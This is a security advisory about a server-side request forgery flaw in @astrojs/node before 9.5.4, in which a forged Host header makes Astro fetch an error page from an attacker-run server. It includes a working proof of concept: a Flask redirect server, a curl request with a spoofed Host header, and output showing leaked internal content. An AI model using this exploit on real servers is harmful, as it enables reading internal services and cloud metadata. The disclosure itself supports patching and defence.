| Package | Affected versions | Patched versions |
|---|---|---|
| @astrojs/node | < 9.5.4 | 9.5.4 |
| @astrojs/node | < 9.5.4 | 9.5.4 |
Server-Side Rendered pages that return an error with a prerendered custom error page (eg. 404.astro or 500.astro) are vulnerable to SSRF. If the Host: header is changed to an attacker's server, it will be fetched on /500.html and they can redirect this to any internal URL to read the response body through the first request.
The following line of code fetches statusURL and returns the response back to the client:
statusURL comes from this.baseWithoutTrailingSlash, which is built from the Host: header. prerenderedErrorPageFetch() is just fetch(), and follows redirects. This makes it possible for an attacker to set the Host: header to their server (eg. Host: attacker.tld), and if the server still receives the request without normalization, Astro will now fetch http://attacker.tld/500.html.
The attacker can then redirect this request to http://localhost:8000/ssrf.txt, for example, to fetch any locally listening service. The response code is not checked, because as the comment in the code explains, this fetch may give a 200 OK. The body and headers are returned back to the attacker.
Looking at the vulnerable code, the way to reach this is if the renderError() function is called (error response during SSR) and the error page is prerendered (custom 500.astro error page). The PoC below shows how a basic project with these requirements can be set up.
Note: Another common vulnerable pattern for 404.astro we saw is:
return new Response(null, {status: 404});
Also, it does not matter what allowedDomains is set to, since it only checks the X-Forwarded-Host: header.
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site freenpm create astro@latest poc -- --template minimal --install --no-git --yes
poc/src/pages/error.astro which throws an error with SSR:---
export const prerender = false;
throw new Error("Test")
---
poc/src/pages/500.astro with any content like:<p>500 Internal Server Error</p>
cd poc
npx astro add node --yes
npm run build && npm run preview
ssrf.txt and host it locally on http://localhost:8000:cd $(mktemp -d)
echo "SECRET CONTENT" > ssrf.txt
python3 -m http.server
# pip install Flask
from flask import Flask, redirect
app = Flask(__name__)
@app.route("/500.html")
def exploit():
return redirect("http://127.0.0.1:8000/ssrf.txt")
if __name__ == "__main__":
app.run()
$ curl -i http://localhost:4321/error -H 'Host: localhost:5000'
HTTP/1.1 500 OK
content-type: text/plain
date: Tue, 03 Feb 2026 09:51:28 GMT
last-modified: Tue, 03 Feb 2026 09:51:09 GMT
server: SimpleHTTP/0.6 Python/3.12.3
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked
SECRET CONTENT
An attacker who can access the application without Host: header validation (eg. through finding the origin IP behind a proxy, or just by default) can fetch their own server to redirect to any internal IP. With this they can fetch cloud metadata IPs and interact with services in the internal network or localhost.
For this to be vulnerable, a common feature needs to be used, with direct access to the server (no proxies).